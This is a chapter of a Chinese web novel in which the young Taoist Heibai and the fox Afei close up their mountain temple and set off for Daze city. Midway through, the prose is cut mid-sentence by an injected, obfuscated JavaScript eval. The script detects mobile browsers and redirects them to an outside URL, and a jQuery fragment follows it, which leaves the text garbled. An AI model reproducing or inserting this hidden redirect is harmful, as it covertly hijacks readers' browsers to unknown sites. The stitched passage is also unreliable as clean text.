阿绯的眼睛亮了。“真的?” “嗯。”黑白说,“那是道一的东西。不去拿就没了。” 阿绯从床尾爬到枕头边,蹲在黑白面前。“你不怕了?” “不是怕。是觉得麻烦。”黑白说,“但是道一的,得去。” 阿绯的尾巴翘得高高的。“我陪你去!” 黑白看了它一眼。“你连山下的镇子都没去过。” “那正好,这次一起去。”阿绯在床上蹦了一下,“我早就想下山看看了,一直不好意思跟你说。” 黑白看着它在床上蹦来蹦去,嘴角弯弯。“你什么时候学会不好意思了?” 阿绯不理他,蹦够了,趴在他枕头旁边,喘着气。“大泽城。”它说,“不知道那里有什么。” “去了就知道了。”黑白说。 阿绯用脑袋蹭了蹭他的肩膀。“不怕,有我呢。” 黑白没有接话。他伸出手,摸了摸阿绯的头。阿绯把脑袋在他手心里蹭了蹭,然后跳下床,钻进竹筐里,把脑袋埋进尾巴里。 决定下山之后,黑白没有急着走。 但是阿绯已经迫不及待了。 “什么时候走?”阿绯问。 “过几天。”黑白说,“先把家里收拾好。” 阿绯歪了歪脑袋。“家里有什么好收拾的?” 黑白没理它,走到厨房,打开面缸看了看。面还有半缸,够吃一阵子。干菜挂在屋檐下,一把一把的,风干了,颜色发暗。盐巴在灶台边上的罐子里,满满一罐。 这些东西不能就这么放着。他不在的时候,山里的动物会进来。他不小气,不介意分一些给它们。但动物们没有灵气,不懂得珍惜,会把面缸打翻,把干菜扯得满地都是,把盐罐推倒。他以前见过——冬天的时候,有一只松鼠溜进厨房,把道一晒的干蘑菇啃了一半,剩下的扔在地上踩烂了。不是它坏,是它不懂。 黑白把面缸盖上,压了一块石头。干菜收进柜子里,柜门用木棍别住。盐罐放进灶膛旁边的洞里,洞口用砖堵上。阿绯蹲在旁边看,看了一会儿,忽然说:“你把东西都藏起来,小动物们吃什么?” “现在山里不缺吃的。”黑白说,“秋天了,果子多,松子多,它们饿不着。” 阿绯想了想,觉得有道理,就不再问了。黑白又把道观里里外外打扫了一遍。前殿、后院、厨房、柴房,每个角落都扫得干干净净。 供桌擦得一尘不染,香炉里的香灰倒掉一半,留下底下的。他学着道一的样子,从香案上抽出三根香,点燃,插进香炉里。青烟袅袅地升起来,在殿里绕了一圈,散开了。他退后两步,合十,拜了三拜。 “三清祖师,”他说,“我要出远门了。道观先关一阵子,回来再给你们上香。” 阿绯蹲在殿门口,听着他说话,觉得有点好笑,又有点说不出来的感觉。黑白拜完了,走出前殿,把殿门关上。他又走到后院,把每一间屋子的门都关上。最后走到大门口,站在门槛上,回头看了一眼。院子里的老树还在,石桌石凳还在,墙角的破罐子里,野菊花开了几朵,黄灿灿的。他站了一会儿,拉上门,把门闩插好。 阿绯蹲在他脚边,仰着头。“锁门了?” “嗯。” “那我们什么时候走?” “明天。”黑白说,“今天收拾东西。” 行囊很简单。黑白从柜子里拿出道一的旧包袱,蓝布的,洗得发白,边角磨出了毛边。他把那封信放进去,又把灵宝小球放进去。又从柜子里拿出两套换洗的衣服,叠好,塞进包袱里。 阿绯蹲在旁边看着,忽然说:“你带银子了吗?” 黑白愣了一下。“银子?” “听香客说的,出门要带银子,穷家富路。”阿绯的尾巴翘了一下,“我记着呢。” 黑白走到柜子前,打开抽屉,把里面的银子铜板全拿出来。赵员外给的五两银子,王老板给的几块碎银子,还有一些铜板,零零碎碎地堆在桌上。黑白数了数,银子加铜板,拢共不到十两。 他把银子用布包好,放进包袱里,铜板揣进怀里。阿绯蹲在桌上,看着那堆铜板,用爪子拨了一下,铜板叮叮当当滚了一桌。 黑白捡回来,又拨,又捡。 “别闹。” “我就看看。”阿绯把爪子收回来,歪着脑袋,“就这点银子,够花吗?” “够了。”黑白说,“省着点用。” 阿绯从桌上跳下来,跑到自己的竹筐边,把脑袋伸进去拱了拱。它叼出几颗松果,几根漂亮的羽毛,一小包晒干的果子,让黑白帮它用一块布包好,打了个结。包不大,刚好够它叼着。 “这是我的行囊。”阿绯把布包放在黑白脚边。 晚上,黑白做了最后一顿窝窝头。他多做了几个,留着路上吃。灶膛里的火烧得旺旺的,锅里的水咕嘟咕嘟地开着。阿绯蹲在厨房门口,看着灶膛里的火,鼻子一抽一抽的。 “黑白。” “嗯。” “你紧张吗?” 黑白想了想。“有一点。” “我也有点。”阿绯把下巴搁在前爪上,“又有点兴奋。” 黑白没有接话。他把窝窝头从蒸笼里拣出来,放在碟子里,晾了晾。掰了一块放进嘴里,嚼了嚼。阿绯也吃了一块。两个就着月光,把晚饭吃了。 第二天早上,天刚蒙蒙亮,黑白就起来了。他把包袱背在身上,把窝窝头装进布袋里,挂在腰间。阿绯叼着自己的小布包,蹲在门口等他。转身走出门,把门关上,从外面把门闩插好。 山路上,两个的脚步声一前一后。清晨的山林很安静,只有鸟叫,偶尔一声,远远的。竹叶上挂着露水,风一吹,簌簌地落下来,落在黑白的头发上,落在阿绯的背上。黑白没有擦,阿绯甩了甩毛。 阿绯身形小,叼走包袱走了一会儿就把包给黑白,和黑白的放在一块。 走到半山腰的时候,黑白停下来,回头看了一眼。道观的屋顶在竹林间若隐若现,灰色的瓦片,斑驳的墙。 山下是一个村子。不大,十来户人家,零零散散的,炊烟从烟囱里升起来,一缕一缕的。 黑白走在村子的土路上,阿绯跟在他脚边,两个都放慢了脚步。村里的人早已经开始忙活了。有人在院子里喂鸡,有人在门口劈柴,有人挑着水桶从井边回来。他们看见黑白,先是愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17447765|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,然后有人认出了他。 “哎,这不是山上的小道长吗?”一个老汉放下手里的斧头,朝他招手。黑白认出了他,是以前来道观上过香的,姓李,住在村东头。 黑白走过去,微微点头。“李施主。” “小道长下山了?”老汉笑眯眯地打量他,“这是要去哪儿啊?” “大泽城。”黑白说,“去取点东西。” 老汉哦了一声,没有多问。 “路上小心啊,大泽城可不近。” 他看了看黑白脚边的阿绯,又看了看,“这狐狸是……?” “朋友。”黑白说。老汉又哦了一声,没有追问。村里人对道士带着狐狸这件事,似乎觉得不算奇怪。上一个道长还喜欢养竹熊呢。 又有人围过来,七嘴八舌地问。有的说“道长好久没下山了”,有的说“道观还好吧”,有的说“老道长走了真是可惜”。 黑白一一应着,话不多,但每一句都答了。 阿绯蹲在他脚边,尾巴卷着身子,眼睛滴溜溜地转,看着这些村里人。它以前也见过人,但都是远远地躲在墙角看,从来没有离这么近。有人低头看它,它就把耳朵往后抿一下,往黑白脚边靠了靠。 黑白聊了几句,拱手告辞。“还要赶路,天黑前要到镇上。不便久留。” 村里人纷纷道别,嘱咐他路上小心。 黑白出了村子,沿着大路往前走。阿绯跟在他脚边,走了一段,回头看了看村子,又转回来。 “ 大路比山路好走多了,宽宽的,平平的,两边是田地和树林。田里的稻子已经割了,只剩下一茬一茬的稻桩,黄黄的。远处有人在赶牛,牛慢悠悠地走,铃铛叮叮当当的。 黑白从来没有走过这么远的路。以前最远只到过山下的村子,那是道一病重的时候,他下山去换粮食,来去匆匆,连村子长什么样都没看清。 现在他走在大路上,两边什么遮挡都没有,天很大,地很宽,风吹过来,没有竹林挡着,直接扑在脸上。他走得很稳,不急不慢,但眼睛一直在看。看田里的稻桩,看远处的牛,看路边不认识的花草。 阿绯比他兴奋多了,一会儿跑到前面,一会儿跑回来,一会儿钻进路边的草丛里,一会儿又窜出来。 “黑白!那是什么花?”它蹲在路边,鼻子凑近一丛紫色的野花。 “不知道。” “好看!挖不挖?” “赶路呢。回来再挖。” 阿绯恋恋不舍地看了那丛花一眼,跟上来。走了一段,它又跑开了。 “黑白!那是什么鸟?”一只灰褐色的小鸟在田埂上跳来跳去。 “麻雀。你见过的啊”黑白说。 “我兴奋嘛,想和你说话。”阿绯嘴里嘟囔着。 太阳越升越高,路越走越远。黑白走得不快,但一直没停。阿绯跑累了,跟在他脚边,喘着气。 “还有多远到镇上?”它问。 黑白看了看路,又看了看太阳。“快了。” 他让走不动道的阿绯蹲在他肩上。他力气大,扛着阿绯着结实一团子也走的步履轻松。 路边的树越来越稀疏,房子越来越多。远远地,他们看见了一片屋顶,灰的,黑的,密密麻麻地挤在一起。有炊烟升起来,一缕一缕的,在风里飘散。 “那就是镇上?”阿绯停下脚步,仰着头看。